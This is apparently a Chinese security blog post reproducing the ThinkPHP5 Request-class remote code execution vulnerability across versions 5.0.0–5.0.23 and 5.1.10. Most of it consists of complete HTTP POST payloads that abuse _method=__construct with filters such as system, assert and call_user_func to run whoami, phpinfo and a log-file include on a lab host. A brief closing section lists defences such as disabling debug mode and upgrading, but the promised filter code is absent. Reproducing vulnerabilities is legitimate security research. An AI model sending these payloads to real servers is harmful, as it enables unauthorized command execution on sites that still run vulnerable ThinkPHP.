ThinkPHP5 核心类 Request 远程代码漏洞复现+Poc
漏洞介绍
2019年1月11日,ThinkPHP团队发布了一个补丁更新,修复了一处由于不安全的动态函数调用导致的远程代码执行漏洞。
ThinkPHP官方发布新版本5.0.24,在1月14日和15日又接连发布两个更新,这三次更新都修复了一个安全问题,该问题可能导致远程代码执行 ,这是ThinkPHP近期的第二个高危漏洞,两个漏洞均是无需登录即可远程触发,危害极大。
之前写过一篇文章《ThinkPHP-5-代码执行漏洞复现-POC》里面有提过一次,这篇文章主要对其不同版本下进行详细的复现。
影响版本
启明星辰ADLab安全研究员对ThinkPHP的多个版本进行源码分析和验证后,确认具体受影响的版本为ThinkPHP5.0-5.0.23完整版。
漏洞复现
本地环境采用ThinkPHP 5.0.10和5.0.22完整版+PHP7.0.9+Apache2.4.39进行复现。安装环境后执行POC即可执行系统命令
版本 5.0.0-5.0.12
Payload:
POST /public/index.php?s=index/index/index HTTP/1.1
Host: 192.168.1.236
Content-Length: 48
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
s=whoami&_method=__construct&filter[]=system
POC执行结果如下图:
版本 5.0.12-5.0.23
在5.0.12之后的版本中,在thinkphp/library/think/App.php的module
方法中增加了设置filter过滤属性的代码
开启debug调试模式,打开配置文件config.php
修改为
Payload 1
POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
POC执行结果如下图:
Payload 2
POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close
_method=__construct&filter[]=think\__include_file&server[]=phpinfo&get[]=../runtime/log/202007/08.log&x=phpinfo();
POC执行结果如下图:
Payload 3
POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close
_method=__construct&filter[]=assert&server[]=phpinfo&get[]=phpinfo()
POC执行结果如下图:
Payload 4
POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close
_method=__construct&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
POC执行结果如下图:
版本 5.1.10(PHP7.3.4+Apache2.4.39)
5.1和5.2两个版本现在用的很少,并且针对于这两个版本有点鸡肋,需要index.php文件中跳过报错提示。 语句:error_reporting(0);
需设置 error_reporting(0);
Payload:
POST /public/index.php HTTP/1.1
Host: 192.168.1.236
Content-Length: 76
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: thinkphp_show_page_trace=0|0
Connection: close
c=system&f=whoami&_method=filter
一开始执行结果如下图:
找到RuleGroup.php 新增一行代码error_reporting(0);跳过报错
然后查看结果
漏洞防御
-
线上环境建议关闭debug模式
-
升级到ThinkPHP 5.0.24
-
手动增加过滤,在
thinkphp/library/think/Request.php
添加如下代码:
参考链接
ThinkPHP 5.0.0~5.0.23 RCE 漏洞分析